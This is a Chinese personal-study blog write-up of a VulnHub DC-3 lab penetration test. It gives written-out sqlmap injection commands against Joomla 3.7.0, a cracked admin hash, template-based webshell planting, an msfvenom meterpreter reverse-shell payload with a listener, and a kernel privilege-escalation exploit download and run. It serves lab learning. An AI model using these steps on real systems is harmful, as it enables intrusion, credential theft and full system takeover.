DC-3靶机渗透测试过程(个人学习)

下载官网地址:https://www.vulnhub.com/entry/dc-32,312/

攻击机kali的IP地址:192.168.37.129

环境配置

kali和DC-3这里都用NAT模式.

DC-3需要多修改一些东西

把IDE里面的改成IDE 0:0

一、信息收集

查找靶机的IP地址

方法一:
        nmap -sP 192.168.37.0/24
方法二:
        arp-scan -l

可以确定DC-3靶机的IP地址为 192.168.37.134,扫描该IP地址开放的服务

该IP只开放了一个80端口,则去访问该IP地址的80端口

通过 Wappalyzer 可以看到该网站用的CMS是Joomla

对于一个存在登录框的页面,尝试了一下对用户名和密码的爆破,但是没有任何结果,对登录框试着sql注入也没有结果

使用kali的dirsearch扫描网站目录,访问扫描出的路径,发现 /administrator 是一个后台登录页面

二、漏洞利用

        1、sql注入

在kali中,JoomScan可以用于检测 Joomla 是否存在可利用的漏洞,工作原理与WPScan类似

使用该命令对网站进行扫描:

joomscan -u http://192.168.37.134

通过 Joomscan 可以看到该网站的版本号为 3.7.0 ,也可以直接扫描到它的登陆后台

搜索一下 joomla 3.7.0 存在着sql注入的漏洞,则可以在本地的漏洞库中搜索一下该漏洞

searchploit joomla 3.7.0

查看该漏洞库文本的内容,该版本存在 updatexml 报错注入,文本中给出了存在sql注入的点和跑sqlmap的格式,则在网页中使用SQL注入的POC查看一下注入的地方

爆库

sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

得到了五个数据库,既然网站是joomla,就优先查看了joomladb库

爆表

sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch

可以发现存在一个 #__users 表,继续尝试爆字段

爆字段

sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --dump -p list[fullordering] --batch

发现爆字段失败,无法获取字段名。

那只能试着猜一猜在 #__users 表中存在哪些字段名,既然是用户表肯定存在着用户名和密码

最后利用name 和 passwd 爆破出admin的账户和密码

sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T '#__users' -C name,password --dump --batch

得到了admin用户的密码,在md5在线解密网站也解不出来,应该是某种hash加密

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

可以利用kali内密码爆破工具 john ,将密码保存到文档中,直接用 john来爆破密码

得出密码为snoopy,去之前扫到的后台登录即可

2、文件上传

成功登录后访问网站,在网站中查找可以利用的点

进入网站后看到 "Install Extensions" 猜测里面会不会存在文件上传漏洞,试验了下并不能传文件上去

最后在 "Templates" 中发现有可以利用的地方

进入模板页面,可以发现有两个模板,两个都可以进行利用,选一个就好了

进入模板后可以发现网页的源代码

之前扫描网站根目录的时候扫出来的目录就用在了这地方,可以看到文件的保存路径,也可以根据上方的提示找到路径

这里我尝试在这加入简单的一句话木马,再保存

保存成功后去蚁剑来连接,显示连接成功,这样我们就拿到了webshell了

然后就遇到了问题,在终端中,想着去拿到稳定的shell,但是发现这个版本不支持 nc -e这个选项

msfconsole 建立连接

然后通过搜索浏览知道可以通过msf来创建一个木马然后再进行上传

首先,在msfconsole中查看该模块需要确定的是payload、LHOST、LPORT三点

则使用命令msfvenom来生成木马,然后将木马写到一个shell.php文件中,再查看这个文件,可以得到我们需要的木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.37.129 LPORT=4444 > shell.php

再将木马复制到剪切板中,回到网页中,新建一个shell.php的,将内容复制到shell.php中

通过路径访问该网页查看内容是否有效、是否被编译

然后进入msfconsole,使用常见的一个监听模块 exploit/multi/handler

use exploit/multi/handler

然后查看配置,首先需要配置LHOST,然后还需要修改一下payload为 php/meterpreter/reverse_tcp,前面创建木马的侦听端口就是4444,所以这里就不需要修改LPORT,修改完成后运行

运行后,重新访问一下木马页面,即自动反弹连接成功,这样我们就拿到了他的shell了

建立shell,然后利用python建立一个交互式界面

三、提权

先查看了一下能否suid提权,没有可以利用的地方

find / -perm -u=s -type f 2>/dev/null

则查看该内核的版本

uname -a

使用linux 4.4.0-21-generic #37-Ubuntu,在网上查找是ubuntu16.04

然后在kali的漏洞库中寻找关于ubuntu16.04的权限提升的漏洞

serachsploit ubuntu16.04 linux

打开文件查看具体的利用方法

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

可以看到它的执行文件和下载的地址

将exp下载到本地

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip   

将 39772.zip 压缩包进行解压缩后得到了两 .tar 文件的压缩包

unzip 39772.zip

再将 exploit.tar 文件解压缩,可以发现之前文本中提到的执行文件

tar -xvf exploit.tar

最后执行刚刚漏洞利用文件演示的代码

./compile.sh

./doubleput

执行 whoami 回显的是 root 则提权成功了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值